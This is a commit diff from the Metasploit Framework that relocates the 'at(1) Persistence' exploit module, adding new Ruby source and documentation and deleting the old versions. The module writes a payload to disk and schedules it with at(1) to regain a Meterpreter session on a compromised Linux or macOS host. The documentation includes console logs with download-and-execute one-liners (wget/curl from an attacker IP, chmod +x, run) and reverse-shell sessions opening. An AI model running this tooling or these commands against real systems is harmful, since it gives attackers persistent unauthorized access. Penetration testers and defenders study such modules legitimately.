Land #20526, moves at_persistence to persistence category and mixin
Modern persistence: at
This commit is contained in:
@@ -0,0 +1,190 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
|
||||
with any UNIX-like operating system with `atd` running.
|
||||
|
||||
Verified on Kali linux and OSX 13.7.4
|
||||
|
||||
### OSX
|
||||
|
||||
In the case of OS X, the `atrun` service must be launched:
|
||||
|
||||
```
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
|
||||
### Kali
|
||||
|
||||
`at` isn't installed by default. `sudo apt-get install at`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/multi/persistence/at`
|
||||
4. Do: `set session #`
|
||||
5. `exploit`
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### TIME
|
||||
|
||||
When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Kali Linux
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144
|
||||
lhost => 192.168.10.144
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 192.168.10.144:4545
|
||||
[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown
|
||||
[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.10.144
|
||||
[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/tmp) > sysinfo
|
||||
Computer : 192.168.10.144
|
||||
OS : Debian (Linux 6.11.2-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/tmp) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes"
|
||||
time => now +10 minutes
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit
|
||||
[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss&
|
||||
[*] Exploit running as background job 2.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Started reverse TCP handler on 192.168.10.144:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
|
||||
[*] Writing payload to /tmp//YneHFC
|
||||
[*] Waiting for execution
|
||||
[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc
|
||||
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date
|
||||
[*] exec: date
|
||||
Thu Feb 6 11:42:44 AM EST 2025
|
||||
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) >
|
||||
[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Sending payload to 192.168.10.144 (curl/8.11.1)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.10.144
|
||||
[*] Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500
|
||||
[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date
|
||||
[*] exec: date
|
||||
Thu Feb 6 11:52:20 AM EST 2025
|
||||
```
|
||||
|
||||
### OSX 13.7.4
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 8
|
||||
target => 8
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8383
|
||||
srvport => 8383
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp
|
||||
payload => osx/x64/meterpreter_reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4747
|
||||
lport => 4747
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH m
|
||||
URIPATH => m
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4747
|
||||
[*] Using URL: http://111.111.1.111:8383/m
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/Users/macos) > getuid
|
||||
Server username: macos
|
||||
(Meterpreter 1)(/Users/macos) > sysinfo
|
||||
Computer : 20.20.20.21
|
||||
OS : macOS Ventura (macOS 13.7.4)
|
||||
Architecture : x86
|
||||
BuildTuple : x86_64-apple-darwin
|
||||
Meterpreter : x64/osx
|
||||
(Meterpreter 1)(/Users/macos) >
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist`
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes
|
||||
time => now +2 minutes
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp
|
||||
payload => osx/x64/meterpreter_reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) >
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
|
||||
[*] Writing payload to /tmp/NBcqC
|
||||
[*] Writing '/tmp/NBcqC' (25 bytes) ...
|
||||
[*] Writing '/tmp/NBcqCmk' (815032 bytes) ...
|
||||
[+] at job created with id: 7
|
||||
[*] Waiting up to sec for execution
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500
|
||||
```
|
||||
@@ -1,32 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
|
||||
with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched:
|
||||
|
||||
```
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/unix/local/at_persistence`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set target #`
|
||||
6. `exploit`
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TIME**
|
||||
|
||||
When to run job via at(1). Changing may require WfsDelay to be adjusted.
|
||||
|
||||
**PATH**
|
||||
|
||||
Path to store payload to be executed by at(1). Leave unset to use mktemp.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron.
|
||||
@@ -0,0 +1,112 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::Local::Persistence
|
||||
include Msf::Exploit::Local::Timespec
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/unix/local/at_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'at(1) Persistence',
|
||||
'Description' => %q{
|
||||
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
|
||||
with any UNIX-like operating system with atd running.
|
||||
Verified on Kali linux and OSX 13.7.4
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart@rapid7.com>'
|
||||
],
|
||||
'Targets' => [['Automatic', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => %w[unix linux osx],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['meterpreter', 'shell'],
|
||||
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
|
||||
'References' => [
|
||||
['URL', 'https://linux.die.net/man/1/at'],
|
||||
['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
|
||||
['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
|
||||
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
|
||||
|
||||
return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'
|
||||
|
||||
# we do a direct test with atq instead of reading at.allow and at.deny
|
||||
token = Rex::Text.rand_text_alphanumeric(8)
|
||||
if cmd_exec("atq && echo #{token}").include?(token)
|
||||
return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
|
||||
end
|
||||
|
||||
CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
|
||||
payload_path = datastore['WritableDir']
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
vprint_status("Writing payload to #{payload_path}")
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
upload_and_chmodx(payload_path, payload.encoded)
|
||||
else
|
||||
# because the payloads contents is imported into the at job, we use a stub to call our payload
|
||||
# as it doesn't like binary payloads directly
|
||||
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
|
||||
# stub, but keep payload_path name for consistency
|
||||
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
|
||||
upload_and_chmodx(payload_path_exe, generate_payload_exe)
|
||||
@clean_up_rc << "rm #{payload_path_exe}\n"
|
||||
end
|
||||
|
||||
@clean_up_rc << "rm #{payload_path}\n"
|
||||
|
||||
job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
|
||||
job_id = job.split(' ')[1]
|
||||
print_good("at job created with id: #{job_id}")
|
||||
# this won't actually do anything since its not in a shell
|
||||
@clean_up_rc << "atrm #{job_id}\n"
|
||||
|
||||
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
|
||||
end
|
||||
end
|
||||
@@ -1,72 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'at(1) Persistence',
|
||||
'Description' => %q{
|
||||
This module achieves persistence by executing payloads via at(1).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart@rapid7.com>'
|
||||
],
|
||||
'Targets' => [['Automatic', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => %w[unix],
|
||||
'Arch' => ARCH_CMD,
|
||||
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
token = Rex::Text.rand_text_alphanumeric(8)
|
||||
if cmd_exec("atq && echo #{token}").include?(token)
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
|
||||
end
|
||||
|
||||
unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
|
||||
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
|
||||
end
|
||||
|
||||
write_file(payload_file, payload.encoded)
|
||||
register_files_for_cleanup(payload_file)
|
||||
|
||||
cmd_exec("chmod 700 #{payload_file}")
|
||||
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
|
||||
|
||||
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user